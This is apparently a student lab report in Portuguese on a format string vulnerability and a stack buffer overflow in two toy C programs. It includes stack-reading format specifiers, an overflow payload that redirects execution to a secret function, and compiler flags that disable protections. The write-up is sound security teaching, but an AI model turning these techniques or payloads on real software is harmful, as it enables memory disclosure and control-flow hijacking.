

Vulnerabilidades de Memória

Exercício 1 — Format String (fmtvuln.c)

Vulnerabilidade

O programa usa o input do utilizador diretamente como argumento de formato em printf (CWE-134):

```
printf(input);    // vulneravel
printf("%s", input); // correto
```

Ataque — Leitura da Stack

Usando especificadores %x e possível ler valores da stack sem autorização. Com %x repetido, encontrou-se o valor secreto 0xcafebabe na 9a posição:

```
./fmtvuln "%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x"
Output: ... cafebabe ...
```

Acesso direto usando acesso posicional:

```
./fmtvuln "%9$x"
Output: cafebabe
```

Compilação

```
gcc -o fmtvuln fmtvuln.c -fno-stack-protector -no-pie
```

Impacto

A vulnerabilidade permite leitura arbitrária de memória (stack). Com %n é possível também escrever em memória, permitindo escalonamento para execução de código arbitrário.

Exercício 2 — Buffer Overflow (vuln.c)

Vulnerabilidade

O programa copia o input para um buffer de 64 bytes sem verificar o tamanho (CWE-120):

```
char buffer[64];
strcpy(buffer, input); // sem verificacao de tamanho
```

Layout da Stack

Em x86-64, a stack de process_input está organizada da seguinte forma:

```
[ buffer[64] ] [ saved RBP (8 bytes) ] [ return address (8 bytes) ]
```

O return address encontra-se ao offset 72 bytes após o início do buffer.

Determinacao do Offset

Testando diferentes tamanhos de input:

Input	Resultado	Observacao
64 A's	Normal termination	Buffer cheio, sem overflow
72 A's	Segmentation fault (139)	Overflow — atinge return address
80 A's	Segmentation fault (139)	Return address completamente sobrescrito

Conclusao: offset de 72 bytes (64 buffer + 8 saved RBP).

Exploit

O programa imprime o endereco de secret_function em cada execucao:

```
[*] secret_function is at: 0x4011b6
```

Payload: 72 bytes de padding + endereco de secret_function em little-endian:

```
./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xb6\x11\x40\x00\x00\x00\x00\x00')")
```

Resultado:

```
[!] ACCESS GRANTED: you reached the secret function!
```

Compilacao

```
gcc -o vuln vuln.c -fno-stack-protector -no-pie -z execstack
```

Protecoes Desativadas

Para que os exploits funcionassem foi necessario desativar as seguintes protecoes:

Protecao	Flag GCC	Funcao
Stack Canary	-fno-stack-protector	Valor secreto entre buffer e return address — deteta overflow
PIE/ASLR	-no-pie	Aleatoriza enderecos de memoria em cada execucao
NX/W^X	-z execstack	Impede execucao de codigo na stack

Em sistemas modernos todas estas protecoes estao ativas por omissao, tornando os ataques consideravelmente mais complexos.